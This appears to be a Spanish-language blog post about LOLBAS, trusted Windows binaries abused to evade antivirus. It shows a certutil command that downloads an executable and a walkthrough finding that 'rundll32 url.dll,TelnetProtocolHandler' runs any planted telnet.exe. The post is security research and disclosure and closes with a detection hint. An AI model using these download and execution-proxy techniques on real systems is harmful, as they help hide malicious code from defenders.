Hola a tod@s!!

Para los que no lo conozcais, hay una página que se dedica a recopilar LOLBAS o lo que es lo mismo Living Off The Land Binaries and Scripts (and also Libraries)

La idea es ejecutar comandos del sistema operativo o software confiable para otros fines no tan buenos. Imaginaros que necesito descargar algo y ejecutarlo y que no salte ninguna alarma en ningún sitio (al antivirus me refiero). Con estos comandos del sistema operativo que se ven en esta página tan completa, se puede hacer de todo.

Si nos fijamos en la columna de las funciones, vemos como hay comandos para ejecutar, descargar, copiar, compilar, etc.

Buscando Lolbas

En muchas ocasiones, para evitar que sean detectadas ciertas acciones, los atacantes utilizan estos comandos y así ahorran esfuerzo a la hora de programar y evitan que esa parte sea analizada por los antivirus.

Veamos un ejemplo, necesito descargar un programa:

certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe

Cerutil.exe” es un programa confiable, a no ser que se pongan unas ciertas limitaciones, se podrá descargar el fichero.

Os mostraré una de las muchas formas que hay para encontrar alguno más, con tiempo todo es posible.

Cojo uno al azar, por ejemplo: “url.dll”.

Ahora mismo hay variaciones de estos 2:

  • Vamos a ver porqué ocurre esto y veremos si podemos sacar alguno más.
LOLBAS url.dll
API Ejecución

Vemos que la función de la API que ejecuta el binario es “ShellExecuteA”. ¿Habrá más lugares donde se llame?

Ejecución TELNET

Tenemos esta que no la estaba contemplada: sym.URL.dll_TelnetProtocolHandler

Nos vamos a esa función.

TelnetProtocolHandler

Y buscamos la zona donde se encuentra la función que hará que se ejecute el comando que queramos, o más bien en este caso, el que quiera la dll, ahora veréis porqué digo esto.

Al final, vemos lo siguiente (fijaros que ejecuta “telnet.exe”):

Telnet.exe

Si ejecutamos rundll32 url.dll, TelnetProtocolHandler, sin parámetros si quiera, ejecutara “telnet.exe” ¿verdad?

Ejecución TelnetProtocolHandler

Si le ponemos como parámetro una dirección IP, tratará de conectarse con ella. O sea, que podemos ejecutar telnet con parámetros, pero, ¿os habeis fijado que ejecuta “telnet.exe” a secas? No trata de ejecutar “c:\windows\system32\telnet.exe”, lo cual indica que si tenemos un “telnet.exe” colocado en donde queramos, podríamos ejecutarlo con o sin parámetros, ¿verdad?

Ejecución de Malware

Pues sí, así es, se ejecuta nuestro “telnet.exe”. De esta forma, sería posible ejecutar cualquier cosa y en las alertas que pudieran saltar por ejecución de binarios, saldría “rundll32 url.dll,TelnetProtocolHandler”, recordad, con o sin parámetros.

Aquí tenemos una ejecución normal del comando con parámetros, para que veais como ejecutaría el “telnet.exe” original.

Ejecución PID Telnet

El parámetro que se le pasa es la ip de localhost: 127.0.0.1. Y podéis ver como ejecutaría telnet tratándose de conectar allí.

Ahora veremos lo mismo, pero desde nuestro directorio donde hemos ubicado nuestro telnet.

Creación PID TELNET

Veis la diferencia, ¿verdad? Pues ya tenemos otro lolbin, de ejecución en este caso, en el que se puede camuflar con la aplicación “telnet.exe”.

Se podría detectar, claro que sí, mirad la ruta de ese telnet, no es la que debería así que se podría.

Bueno, espero que os haya gustado.
Nos vemos en el próximo post!